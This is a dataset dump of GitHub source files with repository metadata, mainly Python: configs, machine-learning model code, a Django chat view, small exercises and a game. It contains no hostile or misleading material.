blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
3
288
content_id
stringlengths
40
40
detected_licenses
listlengths
0
112
license_type
stringclasses
2 values
repo_name
stringlengths
5
115
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringclasses
684 values
visit_date
timestamp[us]date
2015-08-06 10:31:46
2023-09-06 10:44:38
revision_date
timestamp[us]date
1970-01-01 02:38:32
2037-05-03 13:00:00
committer_date
timestamp[us]date
1970-01-01 02:38:32
2023-09-06 01:08:06
github_id
int64
4.92k
681M
⌀
star_events_count
int64
0
209k
fork_events_count
int64
0
110k
gha_license_id
stringclasses
22 values
gha_event_created_at
timestamp[us]date
2012-06-04 01:52:49
2023-09-14 21:59:50
⌀
gha_created_at
timestamp[us]date
2008-05-22 07:58:19
2023-08-21 12:35:19
⌀
gha_language
stringclasses
147 values
src_encoding
stringclasses
25 values
language
stringclasses
1 value
is_vendor
bool
2 classes
is_generated
bool
2 classes
length_bytes
int64
128
12.7k
extension
stringclasses
142 values
content
stringlengths
128
8.19k
authors
listlengths
1
1
author_id
stringlengths
1
132
b09d58dac8af85cf6034c2fb5ac09d5795522b32
12490ecaa1ab982bf93f72d664917e833fb6bfe5
/example_config.py
647a16b304e6e6c8db90cc224a79a8658bb4d26b
[ "MIT" ]
permissive
hwjeremy/th-watchdog
750a17431279a64009c7953e6821953ed513ceb1
c32682f838fffa3396cabc3d83eeb4960c765fc9
refs/heads/master
2020-03-28T06:01:38.735891
2018-09-07T11:05:21
2018-09-07T11:05:21
147,809,718
0
0
null
null
null
null
UTF-8
Python
false
false
320
py
VPN_SERVER_IP = '10.9.10.1' INET_CHECK_IP = '8.8.8.8' DNS_CHECK_HOST = 'google.com' RECORD_FILENAME = 'th_vpn.state' AWS_SECRET_KEY = 'supersecret' AWS_ACCESS_KEY = 'epicsecret' ADMIN_ADDRESS = 'hugh@thornleighfarm.com' VPN_STOP_COMMAND = 'sudo systemctl stop openvpn' VPN_START_COMMAND = 'sudo systemctl start openvpn'
[ "hugh.jeremy@gmail.com" ]
hugh.jeremy@gmail.com
7befdfd04eaf7b50f45244745776c2adfe95616f
1bdb0da31d14102ca03ee2df44f0ec522b0701a4
/Lombardia/LarioLecco/2-GeoReferenceDataCollection.py
9337ca858b21dd7404a39c97492fbd825c9acec4
[]
no_license
figuriamoci/Acqua
dc073d90c3c5e5899b22005685847916de1dfd95
aef22fcd0c80c92441e0e3df2468d7a2f23a848a
refs/heads/master
2020-12-15T04:00:26.855139
2020-06-08T21:17:55
2020-06-08T21:17:55
234,986,179
1
0
null
null
null
null
UTF-8
Python
false
false
617
py
import acqua.geoCode as gc import acqua.aqueduct as aq gestore = "LarioLecco" aq.setEnv('Lombardia//'+gestore) locationListFile = 'Metadata/LocationListReviewed.csv' geoReferencedLocationsFile = 'Metadata/GeoReferencedLocationsList.csv' reteAquedottiFile = '../ReteAcquedotti/rete_acquedotti_lombardia(escl_Milano).geojs...
[ "an.fantini@gmail.com" ]
an.fantini@gmail.com
dd5b161181c57cbb6f92c119ef4e47a2cb865f52
2e682fd72e3feaa70e3f7bf2a3b83c50d783ec02
/PyTorch/contrib/cv/classification/Vit_small_patch16_224/demo.py
66a2a13d8d3cb52f4fd92e7b314fde3b18d87ad1
[ "Apache-2.0", "BSD-2-Clause", "MIT", "BSD-3-Clause", "LicenseRef-scancode-generic-cla", "LicenseRef-scancode-unknown-license-reference", "GPL-1.0-or-later", "LGPL-2.0-or-later", "CC-BY-NC-4.0", "LicenseRef-scancode-proprietary-license" ]
permissive
Ascend/ModelZoo-PyTorch
4c89414b9e2582cef9926d4670108a090c839d2d
92acc188d3a0f634de58463b6676e70df83ef808
refs/heads/master
2023-07-19T12:40:00.512853
2023-07-17T02:48:18
2023-07-17T02:48:18
483,502,469
23
6
Apache-2.0
2022-10-15T09:29:12
2022-04-20T04:11:18
Python
UTF-8
Python
false
false
2,939
py
# Copyright 2021 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or a...
[ "wangjiangben@huawei.com" ]
wangjiangben@huawei.com
f4cf399aa908c08f8fdf368a4b980fc0a20c989c
f5641f7cbd7b7b14b2bb68469e7fa1c97dea7b0b
/mmdet/models/anchor_heads/ga_retina_head.py
cf2b33d1796c217a76b4252d80111be54c3632b9
[ "Apache-2.0" ]
permissive
Youngjoo-Kim/Kaggle_PKU_Baidu
a42751219c37713b3d80d1d81d40876c6b8d71c9
10e0a8516da857c217f747daf0197e9e8afc499d
refs/heads/master
2022-12-10T00:42:18.375239
2020-07-20T10:06:58
2020-07-20T10:06:58
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,867
py
import torch.nn as nn from mmcv.cnn import normal_init from mmdet.ops import MaskedConv2d from ..registry import HEADS from ..utils import ConvModule, bias_init_with_prob from .guided_anchor_head import FeatureAdaption, GuidedAnchorHead @HEADS.register_module class GARetinaHead(GuidedAnchorHead): """G...
[ "stevenwudi@gmail.com" ]
stevenwudi@gmail.com
948ebb86ca40b10b51ec12cae852fdfceb6a1871
0fccee4c738449f5e0a8f52ea5acabf51db0e910
/genfragments/ThirteenTeV/RSGraviton/RSGravToGG_kMpl001_M_1750_TuneCUEP8M1_13TeV_pythia8_cfi.py
8b4d75c26d2acc5f26e1c21d04db8d27ff370ce5
[]
no_license
cms-sw/genproductions
f308ffaf3586c19b29853db40e6d662e937940ff
dd3d3a3826343d4f75ec36b4662b6e9ff1f270f4
refs/heads/master
2023-08-30T17:26:02.581596
2023-08-29T14:53:43
2023-08-29T14:53:43
11,424,867
69
987
null
2023-09-14T12:41:28
2013-07-15T14:18:33
Python
UTF-8
Python
false
false
1,195
py
import FWCore.ParameterSet.Config as cms from Configuration.Generator.Pythia8CommonSettings_cfi import * from Configuration.Generator.Pythia8CUEP8M1Settings_cfi import * generator = cms.EDFilter("Pythia8GeneratorFilter", comEnergy = cms.double(13000.0), crossSection = cms.untracked.double(1.095e-3),...
[ "sheffield@physics.rutgers.edu" ]
sheffield@physics.rutgers.edu
2f2dede969bf0182cd6894266f18933d349ee1fe
aaff02cda2c3422e6bb13515ee13611ae55ff383
/P3_download_txt.py
ccd4e1e5a9d40273a86e0ac1065c9e277bbafba7
[]
no_license
thoppe/The-Pile-CoastalZoneInformation
53e0fccf5ea29e5f29177eaad99603827360091a
f6eea5bb8ef057b9848e35c2533588972b2e2016
refs/heads/master
2022-12-17T19:29:48.993160
2020-09-18T15:52:03
2020-09-18T15:52:03
296,663,155
0
0
null
null
null
null
UTF-8
Python
false
false
902
py
import json import time from dspipe import Pipe import pandas as pd from utils import govinfo_download import bs4 n_downloads = 8 """ Download html information for each item in the collection Uses: https://api.govinfo.gov/docs/ """ sleep_time = 1 def compute(f0, f1): with open(f0) as FIN: js = json...
[ "travis.hoppe@gmail.com" ]
travis.hoppe@gmail.com
87e186b9281405fbc322912c664f81836e7965f2
1e987bd8b8be0dc1c139fa6bf92e8229eb51da27
/deeplearning/deeptune/opencl/adversary/adversary.py
d4177ebb139b4b65260920277c2aa7bcc8dfb354
[]
no_license
tszdanger/phd
c97091b4f1d7712a836f0c8e3c6f819d53bd0dd5
aab7f16bd1f3546f81e349fc6e2325fb17beb851
refs/heads/master
2023-01-01T00:54:20.136122
2020-10-21T18:07:42
2020-10-21T18:09:06
null
0
0
null
null
null
null
UTF-8
Python
false
false
4,402
py
# Copyright (c) 2017-2020 Chris Cummins. # # DeepTune is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # DeepTune is distributed in th...
[ "chrisc.101@gmail.com" ]
chrisc.101@gmail.com
85bf581fbd540dd8b1eabebb1f6788c9452632dd
7ac8ea8ccc658d1461dcd2667a2ce8ef7909eea0
/leetcode/387_First_Unique_Character_In_String_impl1.py
285d02549911a7c34860eb0ab1852a0f5811906c
[]
no_license
aasthaagrawal/Algorithms_and_Data_Structures
a7bbfa4ce70ba873c8957c3524b612a97194682d
cd23bddc7766d13a9896356b177caeb533f2f433
refs/heads/master
2022-04-27T05:30:19.080934
2022-03-30T23:03:37
2022-03-30T23:03:37
173,667,618
1
0
null
null
null
null
UTF-8
Python
false
false
406
py
#https://leetcode.com/problems/first-unique-character-in-a-string/ #Complexity: O(n) class Solution: def firstUniqChar(self, s: str) -> int: dict={} for ch in s: if ch in dict: dict[ch]+=1 else: dict[ch]=1 lenS=len(s) for i in ...
[ "aasthaagrawal94@gmail.com" ]
aasthaagrawal94@gmail.com
706cb0e8f2839adc86ec6ddc3f444e22ff4e1464
f5f62ed1f738f1f7a863468c7d6c0cf20af490f3
/Vorlesung/src/Chemistry/molmini_iter.py
4480fe4b8ccf76ee2ee15bb4d15ffb59885699de
[]
no_license
AndrejLehmann/my_pfn_2019
e0ceb7e0b999abb978c10bc15c7e05f31739b8ca
fe4d4ddb7192ecd2c0e0dbe043d72485c5ed9810
refs/heads/master
2020-08-31T01:53:37.486097
2020-04-20T20:48:08
2020-04-20T20:48:08
218,550,745
0
1
null
null
null
null
UTF-8
Python
false
false
1,116
py
#!/usr/bin/env python3 import sys, re def molminiIterator(stream): molecule_name = None atom_list = list() for line in stream: line = line.rstrip() m = re.search(r'^MOLECULE\s(.*)$',line) if m: if atom_list: # output previous molecule yield molecule_name, atom_list # will be processed ...
[ "alehmann@physnet.uni-hamburg.de" ]
alehmann@physnet.uni-hamburg.de
000e979fc6482932c54dc6c67b18c892d9d2849a
519a27de1e55d639fefaa86f11b7f7fb8582736a
/launchdarkly_api/models/relay_proxy_config_body.py
5b29836f79f923aeed58d039b9fea8ac791a1e8e
[ "Apache-2.0" ]
permissive
isabella232/api-client-python
fa3aec6633dc8effffbf9719d777a432492b9afd
36de745c54091357bbfc0a938d537f249c12ad73
refs/heads/master
2023-01-13T08:02:51.811493
2020-11-20T01:07:03
2020-11-20T01:07:03
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,985
py
# coding: utf-8 """ LaunchDarkly REST API Build custom integrations with the LaunchDarkly REST API # noqa: E501 OpenAPI spec version: 3.9.0 Contact: support@launchdarkly.com Generated by: https://github.com/swagger-api/swagger-codegen.git """ import pprint import re # noqa: F401 import six ...
[ "team@launchdarkly.com" ]
team@launchdarkly.com
7dad64ef5511ed334935d2c3505140f33570b4c1
a574d0c0ebc8e17eb641777f93544c0ae43850c9
/part_4/5.1.6_todo_item.py
af17e0e5083d707008137edeb2b80c4d369efe2e
[]
no_license
broepke/GTx
1e33c97d0f86e95124ceb5f0436f965154822466
e12143c9b1fc93d4489eb0f6c093637503139bf6
refs/heads/master
2020-04-08T09:35:41.884572
2020-01-03T03:37:34
2020-01-03T03:37:34
159,230,824
3
2
null
null
null
null
UTF-8
Python
false
false
2,724
py
# Here's a long one -- you can do it! # # Rewrite the following class so that it uses getters and # setters for all three variables (title, description, # completed). The getters should be called: getTitle, # getDescription, getCompleted. The setters should be # called: setTitle, setDescription, setCompleted. # # In a...
[ "broepke@gmail.com" ]
broepke@gmail.com
33829a11ace2c8a0262e979091a775c8875a5fba
55628a9a08a6b6646b4a8aa74bedbf2e3fd7d850
/.history/master_20200119185802.py
2e2332d889a122d2073bee1882692f6c05a0fd98
[]
no_license
StRobertCHSCS/final-project-team
c115dc11b318f7ac782c94860a8801bb558bd107
48907e72813c4dd3b48ff36f794f6fce04533219
refs/heads/master
2020-12-03T22:35:37.833893
2020-01-31T04:05:38
2020-01-31T04:05:38
231,506,873
1
0
null
null
null
null
UTF-8
Python
false
false
5,514
py
''' -**make snake longer when eaten - FIGURE OUT HOW TO KNOW WHERE TO ADD THE NEXT BLOCK (MOVE LAST LOCATION TO BACK) -fix player_location lists, so that the list only has the location of the current snake location, not infinite list (done) - fix apple so disappers when you go over it (done) ''' import arcade imp...
[ "clementina1023@gmail.com" ]
clementina1023@gmail.com
27548617341d262fe29970a4f8c9f592a43feeca
ca7aa979e7059467e158830b76673f5b77a0f5a3
/Python_codes/p03711/s290757872.py
b7759c6add1c0237b19579043e30827517c55bd5
[]
no_license
Aasthaengg/IBMdataset
7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901
f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8
refs/heads/main
2023-04-22T10:22:44.763102
2021-05-13T17:27:22
2021-05-13T17:27:22
367,112,348
0
0
null
null
null
null
UTF-8
Python
false
false
198
py
lis1=[1,3,5,7,8,10,12] lis2=[4,6,9,11] lis3=[2] x,y=map(int,input().split()) if (x in lis1 and y in lis1) or (x in lis2 and y in lis2) or(x in lis3 and y in lis3): print("Yes") else: print("No")
[ "66529651+Aastha2104@users.noreply.github.com" ]
66529651+Aastha2104@users.noreply.github.com
a9e0f8596b949a2536ccac3cb8b28583ab19e3c4
7fd9f0800ffb5b6314e2163395ccc03820a48ff0
/Data Structure Problems/Tree/balanced_tree_1.py
32534edb10829e1f3e9c83b82697580c3089215c
[]
no_license
aadarshraj4321/Python-Small-Programs-And-Algorithms
126b4a984f3dc99a8b42a13fc794d3d5c616757b
599cfb1d6607fd68f6de37c4dd95587956012435
refs/heads/master
2023-05-02T13:18:49.353029
2023-04-28T18:27:02
2023-04-28T18:27:02
300,174,774
1
2
null
null
null
null
UTF-8
Python
false
false
1,947
py
class Binary: def __init__(self, value): self.data = value self.left = None self.right = None class BinaryDetails: def isBalanced(self, root): if(root == None): return True left = self.height(root.left) right = self.height(root.right)...
[ "noreply@github.com" ]
aadarshraj4321.noreply@github.com
e04a2e0d8a79be52d4b588ccc3673e70908c7f01
f0d713996eb095bcdc701f3fab0a8110b8541cbb
/B6M8jqcq3nP4gDPEi_20.py
3e0a5a311078b0ec848dd390d68876106fbb1f43
[]
no_license
daniel-reich/turbo-robot
feda6c0523bb83ab8954b6d06302bfec5b16ebdf
a7a25c63097674c0a81675eed7e6b763785f1c41
refs/heads/main
2023-03-26T01:55:14.210264
2021-03-23T16:08:01
2021-03-23T16:08:01
350,773,815
0
0
null
null
null
null
UTF-8
Python
false
false
1,127
py
""" Write a function that extracts the max value of a number in a list. If there are **two or more** max values, return it **as a list** , otherwise, return the **number**. This process could be relatively easy with some of the built- in list functions but the required approach is **recursive**. ### Examples i...
[ "daniel.reich@danielreichs-MacBook-Pro.local" ]
daniel.reich@danielreichs-MacBook-Pro.local
1023bde40f71e7f8dded4fca6320f65db221f8e2
dc7975b075ab53fad27ad96f91d13349375bb58f
/quest/sport_ticket/code/zansa.py
5beb13f8b71807a0a83cfb8db637bd6b93ed192f
[]
no_license
ducksfrogs/signate_quest
21a5e71b9648f6b967f0dcce52f344af0b902e6b
9fad8592bdecaaed1258986c83b855fad1dbdf1d
refs/heads/main
2023-03-09T18:19:06.325975
2021-02-19T07:56:42
2021-02-19T07:56:42
311,630,010
0
0
null
null
null
null
UTF-8
Python
false
false
1,226
py
import pandas as pd import numpy as np from sklearn.linear_model import LinearRegression from sklearn.preprocessing import train_test_split from sklearn.metrics import mean_squared_error as MSE select_columns = ['id', 'y','capa','week','home','away','stage', 'tv_num', 'month','weather'] dummy_data_all = pd.get_dummi...
[ "ma_yamaki@yahoo.com" ]
ma_yamaki@yahoo.com
a2c13330032c945dbc91b221d8a484626b442352
6b2a8dd202fdce77c971c412717e305e1caaac51
/solutions_1673486_0/Python/kaw/problem_a.py
794fa0938d2df56a8065c76bc9f48a8a7c0e88d5
[]
no_license
alexandraback/datacollection
0bc67a9ace00abbc843f4912562f3a064992e0e9
076a7bc7693f3abf07bfdbdac838cb4ef65ccfcf
refs/heads/master
2021-01-24T18:27:24.417992
2017-05-23T09:23:38
2017-05-23T09:23:38
84,313,442
2
4
null
null
null
null
UTF-8
Python
false
false
721
py
import sys f = open(sys.argv[1]) N = int(f.readline().split()[0]) for i in range(N): line = f.readline().split() A = int(line[0]) B = int(line[1]) line = f.readline().split() prob = [] if A > 0: prob.append(float(line[0])) for j in range(A-1): prob.append(prob[j]*float(line[j+1])) expect...
[ "eewestman@gmail.com" ]
eewestman@gmail.com
fc5dbe199811fa7292c9ef886efc9ff593e42bf7
6be8aa517e679b33b47d35f100e6590902a8a1db
/Greedy/Dijkstra/Problem07.py
b5ad205e461b792ab240bd6e8c4cbd129c102cca
[]
no_license
LeeJuhae/Algorithm-Python
7ca4762712e5e84d1e277abecb3bf39c9cbd4e56
729947b4428205adfbac194a5527b0eeafe1c525
refs/heads/master
2023-04-24T01:02:36.430970
2021-05-23T07:17:25
2021-05-23T07:17:25
null
0
0
null
null
null
null
UTF-8
Python
false
false
720
py
# https://www.acmicpc.net/problem/1261 import heapq import sys d = ((0, 1), (0, -1), (1, 0), (-1, 0)) read = sys.stdin.readline n, m = map(int, read().strip().split()) maze = [[e for e in map(int, list(read().strip()))] for _ in range(m)] q = [(0, 0, 0)] length = [[float('inf')] * n for _ in range(m)] length[0][0] = ...
[ "gusdn0657@gmail.com" ]
gusdn0657@gmail.com
2da0ffaba4115f65c4fbffd1c21915c15287566b
bb1c92405da3e91fdbf7c3b2395b900409de5a1f
/pytorch/cnn/data/download.py
98c29a0ecd8c81755ef54f61986fdc0997c4f485
[]
no_license
x007007007/learn-ml
7af9519e9dba8024fa8fca9b8db2294d4afdcf71
ecf7407e8dec78e19d7f194e973610eb7e896585
refs/heads/master
2022-12-12T05:28:39.121920
2020-03-19T13:41:16
2020-03-19T13:41:16
247,480,361
0
0
null
2022-11-22T05:24:17
2020-03-15T14:17:22
Python
UTF-8
Python
false
false
886
py
import torch import torch.nn as nn import torch.utils.data as Data import torchvision # 数据库模块 import matplotlib.pyplot as plt torch.manual_seed(1) # reproducible # Hyper Parameters EPOCH = 1 # 训练整批数据多少次, 为了节约时间, 我们只训练一次 BATCH_SIZE = 50 LR = 0.001 # 学习率 DOWNLOAD_MNIST = True # 如果你已经下载好了mnis...
[ "x007007007@hotmail.com" ]
x007007007@hotmail.com
d1270f2d1a0a0f49de2674b7a8c8a103a93279fa
704bb60286a6933486cec3134d19bfcae864ee8a
/sealdesigner/chatroom/views.py
39d916a90fc5d1d167f722579e5b0dd3c67c6f69
[]
no_license
yuzp1996/seal-1
bec0fc3930bfcb54235ad40953f67e91cf6adc4b
28aead1f9dd9cf7369a188613b0ef990e92757a7
refs/heads/master
2021-08-06T07:58:19.104583
2017-11-04T03:18:01
2017-11-04T03:18:01
109,463,822
0
0
null
2017-11-04T03:28:15
2017-11-04T03:28:15
null
UTF-8
Python
false
false
6,335
py
# -*- coding: utf-8 -*- # coding=utf-8 from django.shortcuts import render_to_response from django.http import HttpResponse,HttpResponseRedirect # from django.template import RequestContext from Seal.models import Administrator from Users.models import User from django.core.cache import cache # from django import forms...
[ "w_angzhiwen@163.com" ]
w_angzhiwen@163.com
aa97599cb3e1278629371dce33bcb387abaf6dba
3d19e1a316de4d6d96471c64332fff7acfaf1308
/Users/M/morth123/ba.py
0d2c775e055f95041946f7d0254583af1b4e8487
[]
no_license
BerilBBJ/scraperwiki-scraper-vault
4e98837ac3b1cc3a3edb01b8954ed00f341c8fcc
65ea6a943cc348a9caf3782b900b36446f7e137d
refs/heads/master
2021-12-02T23:55:58.481210
2013-09-30T17:02:59
2013-09-30T17:02:59
null
0
0
null
null
null
null
UTF-8
Python
false
false
456
py
url = "https://apply.ukba.homeoffice.gov.uk/secure/appointmentBooking" import urllib print urllib.urlopen(url).read() url = "https://apply.ukba.homeoffice.gov.uk/secure/appointmentBooking" import urllib ...
[ "pallih@kaninka.net" ]
pallih@kaninka.net
1b7d800346be167cab776a49678eb47955fca097
ae6189642a07fd789f51caadb924328a54919cac
/100-problems/d-star.py
e99de3b5652f50064013e967289038e72d8aa04f
[]
no_license
d-matsui/atcorder
201e32403653b2fdf0d42188faf095eb8b793b86
22ec1af8206827e10a986cb24cf12acc52ab1d6a
refs/heads/master
2020-09-27T23:15:27.281877
2020-09-01T13:24:34
2020-09-01T13:24:34
226,632,569
0
0
null
null
null
null
UTF-8
Python
false
false
1,753
py
#!/usr/bin/env python3 m = int(input()) target = [] for i in range(m): l = list(map(int, input().split())) target.append(l) n = int(input()) pic = [] for i in range(n): l = list(map(int, input().split())) pic.append(l) # print(m, n) # print(target) # print(pic) # 解法 # 星座の中から一点pを選ぶ # pが写真の中のn個の星の一つq...
[ "mti.daiki@gmail.com" ]
mti.daiki@gmail.com
4cf96368f9cd3a95d853b00122017422b4bd548c
ebd5c4632bb5f85c9e3311fd70f6f1bf92fae53f
/P.O.R.-master/pirates/effects/ExplosionCloud.py
2b82d74ea738186a6e68fa48000b5a596c82c6c2
[]
no_license
BrandonAlex/Pirates-Online-Retribution
7f881a64ec74e595aaf62e78a39375d2d51f4d2e
980b7448f798e255eecfb6bd2ebb67b299b27dd7
refs/heads/master
2020-04-02T14:22:28.626453
2018-10-24T15:33:17
2018-10-24T15:33:17
154,521,816
2
1
null
null
null
null
UTF-8
Python
false
false
4,284
py
from pandac.PandaModules import * from direct.interval.IntervalGlobal import * from direct.particles import ParticleEffect from direct.particles import Particles from direct.particles import ForceGroup from PooledEffect import PooledEffect from EffectController import EffectController import random class ExplosionClou...
[ "brandoncarden12345@gmail.com" ]
brandoncarden12345@gmail.com
618f8f45841b0f1bd2665ca3a0be2a3711a4e83c
50afc0db7ccfc6c80e1d3877fc61fb67a2ba6eb7
/challenge17(backOnTime)/solutions/SnarfyKat.py
f503a49e4159999158a3403da67743263752d108
[ "MIT" ]
permissive
banana-galaxy/challenges
792caa05e7b8aa10aad8e04369fc06aaf05ff398
8655c14828607535a677e2bb18689681ee6312fa
refs/heads/master
2022-12-26T23:58:12.660152
2020-10-06T13:38:04
2020-10-06T13:38:04
268,851,516
11
8
MIT
2020-09-22T21:21:30
2020-06-02T16:24:41
Python
UTF-8
Python
false
false
480
py
def solution(directions): if len(directions) > 10: return False starting_location = {'x': 0, 'y': 0} location = starting_location.copy() for direction in directions: if direction == 'n': location['y'] += 1 elif direction == 's': location['y'] -= 1 ...
[ "cawasp@gmail.com" ]
cawasp@gmail.com
77461116141d3994f14f0cc7d8d933e7b7b8b6c1
9f1db0cce0aebc6c14c7e3c4adfa424bbc20c968
/project/bmd/bmds/bmds.py
327698319c5d14e1fb23e826518f792a4ad27a6f
[]
no_license
JoshAddington/hawc
6b8f9efb0dec2aeb972a66a636dfc7493502003b
28cb8a2690ba934134c4dd4660d51e573cd6b895
refs/heads/master
2020-12-25T17:16:05.746517
2016-06-10T18:03:32
2016-06-10T18:03:32
44,217,584
0
0
null
null
null
null
UTF-8
Python
false
false
3,727
py
#usr/bin/python import bmd_models from os.path import join from django.conf import settings class BMDS_v230(object): model_path = join(settings.BMD_ROOT_PATH, 'BMDS230') temp_path = settings.TEMP_PATH models = { 'D': { # 'Dichotomous-Hill' : bmd_models.DichotomousHill_12, # todo: add ...
[ "shapiromatron@gmail.com" ]
shapiromatron@gmail.com
07236c9bd7f924c9e6a92550f0ed36f1dedcf7b2
5c2065b0650ce9357fe8ccf5427a9f47fab32f74
/resource/order.py
ac6809efc84b0d7f6bf139b0d71d1a0ab24845a2
[ "MIT" ]
permissive
pulkitsapra/flask-online-store
276e62b3c9c97e31d1e2426402b74f6676d24329
43b96522126c84ecb4c646ce7282ddd7f7d933fa
refs/heads/master
2022-12-24T20:31:20.738646
2020-10-03T10:06:32
2020-10-03T10:06:32
301,019,800
0
0
null
null
null
null
UTF-8
Python
false
false
1,049
py
from flask_restful import Resource from flask import request from model.item import ItemModel from model.order import OrderModel,ItemsInOrder from schemas.order import OrderSchema from collections import Counter order_schema=OrderSchema() class Order(Resource): @classmethod def post(cls): data= r...
[ "diptochuck123@gmail.com" ]
diptochuck123@gmail.com
36c7ad177b2ffbd6833120ea709ed0d4a0b99128
9c85714d3b7cfeb7505a4dcf68e559d727b8f62a
/InstanceMaterial/Evaluator.py
07d1524d1d4eb7901fa28f6b2c8e76a7e201dfa4
[ "MIT" ]
permissive
aspuru-guzik-group/Instance-segmentation-of-images-of-materials-in-transparent-vessels-using-GES-net-
9ba267052a95d681296410e8a5fd7324d2ae99bd
82afdbbfd3cef673e183ecb1107d61221445089f
refs/heads/master
2021-11-26T10:16:41.639855
2021-10-08T21:07:38
2021-10-08T21:07:38
244,291,317
3
1
null
null
null
null
UTF-8
Python
false
false
7,149
py
## Evaluator for evaluating net accuracy against test data import numpy as np import os import LabPicsMaterialInstanceReader as LabPicsInstanceReader import torch CatName={} CatName[0]='Empty' CatName[1]='Vessel' CatName[2]='V Label' CatName[3]='V Cork' CatName[4]='V Parts GENERAL' CatName[5]='Ignore' CatName[6]='Liq...
[ "sagieppel@gmail.com" ]
sagieppel@gmail.com
d57c6b65c5ea3bd18b52da2ea23674defa78a162
368c66467b78adf62da04cb0b8cedd2ef37bb127
/SW expert/python/1948_날짜계산기.py
6bf53fc996c91a01eb46274d0962c94c448a32dd
[]
no_license
DJHyun/Algorithm
c8786ddcd8b5693fc9b3b4721fdf1eeda21611c5
fd6ae800886dac4ec5ff6cf2618bc2c839a76e7a
refs/heads/master
2020-07-30T16:32:49.344329
2020-02-25T07:59:34
2020-02-25T07:59:34
210,289,983
0
0
null
null
null
null
UTF-8
Python
false
false
561
py
# SW Expert Academy import sys sys.stdin = open('input.txt', 'r') T = int(input()) for test_case in range(1, T + 1): a, b, x, y = map(int, input().split()) result = 0 m = { 1: 31, 2: 28, 3: 31, 4: 30, 5: 31, 6: 30, 7: 31, 8: 31, 9: 30, 10: 31, 11: 30, 12: 31 } if a == x: result +=...
[ "djestiny4444@naver.com" ]
djestiny4444@naver.com
f1cf3d968adf98d5c5b049a61f45e5aeed30f3bb
3b00b9f48a8a51012bfd06281015a9165b5cdaa1
/tests/test_num_mesh.py
84e243614116f4a8cd4f735d6ade6a0cebd639cc
[ "MIT" ]
permissive
eng-tools/sfsimodels
fb10f6330293fa9f89f544143607aa21fdd14d4c
2679aa062bd926f530ec5dc1078638785d373840
refs/heads/master
2023-02-16T03:12:58.500501
2022-12-01T01:40:08
2022-12-01T01:40:08
108,258,240
7
2
MIT
2023-02-08T00:41:00
2017-10-25T11:00:52
Python
UTF-8
Python
false
false
8,042
py
import sfsimodels as sm from sfsimodels.num.mesh import mesh2d_vary_y import numpy as np def test_two_d_mesh(): rho = 1.8 sl1 = sm.Soil(g_mod=50, unit_dry_weight=rho * 9.8, poissons_ratio=0.3) sl2 = sm.Soil(g_mod=100, unit_dry_weight=rho * 9.8, poissons_ratio=0.3) sl3 = sm.Soil(g_mod=400, unit_dry_wei...
[ "maxim.millen@gmail.com" ]
maxim.millen@gmail.com
ef5f360a91e9cc2e82ae438e20b1b75aa8a76dcf
270d7f88e47683abd55c0191466c80513b2aa9f9
/pytorch_toolbelt/modules/decoders/unet.py
ec4b83029ed84d101556bcca85d623ad124a34ec
[ "MIT" ]
permissive
williamberrios/pytorch-toolbelt
abdf8e455a4ffc79d2afbc92e80005a821fb97a9
4a24e6324b8270d31c08b8b2f667d740b9823377
refs/heads/master
2023-07-06T06:35:24.197821
2021-08-12T07:47:20
2021-08-12T07:47:20
400,866,088
1
0
MIT
2021-08-28T18:43:12
2021-08-28T18:43:12
null
UTF-8
Python
false
false
4,109
py
from typing import List, Union, Type import torch from torch import nn from .common import DecoderModule from .. import DeconvolutionUpsample2d from ..unet import UnetBlock __all__ = ["UNetDecoder"] class UNetDecoder(DecoderModule): def __init__( self, feature_maps: List[int], decoder_f...
[ "ekhvedchenya@gmail.com" ]
ekhvedchenya@gmail.com
670969f570d1711741319eecbf5e59ce8d540ee0
42567f420d4a32f1347e2923b103c889c5cb6375
/send_mail.py
7438b5616090166644fa65b517df86acd7277d59
[]
no_license
Menah3m/python_work
0b24809fee29bb349816630086f450c84ebe9f89
0c78610d1bb32d54efce02dcaee518feb58934fe
refs/heads/master
2020-09-13T08:08:35.799251
2020-07-11T05:48:21
2020-07-11T05:48:21
222,705,828
0
0
null
null
null
null
UTF-8
Python
false
false
212
py
# Name:send_mail # Author:Yasu # Time:2020/3/17 import yagmail USER = 'dawnwhite0@163.com' PASSWORD = ' ' HOST = 'smtp.163.com' CONTENT = if __name__ = '__main__': yag = yagmail.SMTP(USER, PASSWORD, HOST)
[ "568200065@qq.com" ]
568200065@qq.com
818fe4c3440a0b83c3a7b34007caffde84438645
ecba842cc189499da2c98248e92a458dbcc0dc67
/apps/website/news/urls.py
3757790d1ce33afe92751ee8f4fc3ca08f0511b6
[]
no_license
aquaristar/hhlearn
c23e94ab93221419db74409f44d8310244212190
ec409b7886bacb33cd3f5c3a724243a30158cd54
refs/heads/master
2023-03-10T15:46:39.740438
2019-11-16T19:19:02
2019-11-16T19:19:02
null
0
0
null
null
null
null
UTF-8
Python
false
false
194
py
from django.conf.urls import patterns, include, url urlpatterns = patterns('apps.website.news.views', url(r'^news/$', 'news', name='benefits'), )
[ "aquaristar@gmail.com" ]
aquaristar@gmail.com
7ccde0b2a093af83420ba772d2828d2f65688670
8fb1d41797595550418ecfc0e7558f38254b4606
/django/contrib/gis/models.py
4e10c87760c9b4ac3452d6f65812105eb125ea1f
[ "MIT" ]
permissive
hunch/hunch-gift-app
2aad70a9f18124bf0de02d7a125fa93c765da008
8c7cad24cc0d9900deb4175e6b768c64a3d7adcf
refs/heads/master
2016-09-06T03:13:52.153974
2012-03-26T18:11:59
2012-03-26T18:11:59
1,191,221
6
3
null
null
null
null
UTF-8
Python
false
false
399
py
from django.db import connection if (hasattr(connection.ops, 'spatial_version') and not connection.ops.mysql): # Getting the `SpatialRefSys` and `GeometryColumns` # models for the default spatial backend. These # aliases are provided for backwards-compatibility. SpatialRefSys = connection.o...
[ "gleitz@hunch.com" ]
gleitz@hunch.com
0628c1d06bd602025acc0eda193ffecd1b9f5d2d
